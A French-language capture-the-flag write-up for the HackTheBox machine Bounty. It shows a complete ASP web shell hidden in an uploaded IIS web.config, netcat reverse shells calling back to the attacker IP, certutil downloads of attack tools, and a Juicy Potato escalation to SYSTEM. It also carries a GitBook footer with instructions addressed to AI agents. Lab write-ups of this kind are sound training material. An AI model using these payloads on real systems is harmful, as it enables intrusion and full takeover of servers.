> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Compte-rendu HackTheBox Bounty

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération IIS et fuzzing des répertoires
* IIS `web.config` contournement de l'envoi de fichiers et exécution d'une web shell
* Reverse shells Windows via SMB
* `SeImpersonatePrivilege` élévation de privilèges avec Juicy Potato
  {% endhint %}

## Reconnaissance

Créez un espace de travail pour la machine.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

Le TTL de `128` indique que la cible est probablement une machine Windows.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### Scan de ports

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

Port `80` est ouvert.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

Analysez le service web en détail.

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

Le scan identifie Microsoft IIS HTTPD 7.5.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

La page sur le port `80` n'affiche qu'une image.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### Énumération de répertoires

Fuzzez le serveur web à la recherche de fichiers et de répertoires.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

Le scan révèle :

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` accepte les envois de fichiers.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

Une `.aspx` le shell de commande est rejeté parce que son extension n'est pas autorisée.

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

Cherchez `Toutes les extensions de fichiers pour un reverse shell Windows IIS`. HackTricks décrit plusieurs extensions pertinentes, notamment `.asp`, `.aspx`, `.config`, et `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

Le [Contournement du téléversement de web.config IIS](/fr/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) permet l'exécution via `.config` fichiers.

#### Exécuter des fichiers .config

> Si une application vous permet de téléverser un fichier .config dans un répertoire servi, un web.config IIS peut être utilisé pour l'exécution de code. Une technique consiste à ajouter la charge utile à l'intérieur d'un commentaire HTML : téléchargez un exemple ici.
>
> Plus d'informations et de techniques pour exploiter cette vulnérabilité ici\[2]

Créez un `web.config` fichier avec le contenu suivant.

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Exécuter">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>Le port du serveur :</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>Le logiciel du serveur :</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>Le logiciel du serveur :</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

Le `.config` le fichier est téléversé avec succès.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

Accédez à `/uploadedfiles/web.config` pour accéder au web shell. Le fichier est supprimé après quelques secondes.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## Accès initial

Utilisez le web shell pour obtenir un reverse shell.

Placez un Netcat exécutable dans le répertoire courant :

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Démarrez un serveur SMB pour partager le fichier :

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Configurez votre machine comme listener sur le port 443 :

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

Exécutez la commande de reverse shell depuis le WebShell :

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

Le reverse shell se connecte avec succès.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

Récupérez le flag utilisateur.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges

L'utilisateur actuel possède le `SeImpersonatePrivilege` privilège.

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

Télécharger `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

Transférez-le, avec Netcat, sur la machine cible.

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

Démarrez un écouteur sur le port `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

Exécutez Juicy Potato pour lancer `cmd.exe` en tant que `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

Récupérez le flag root.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
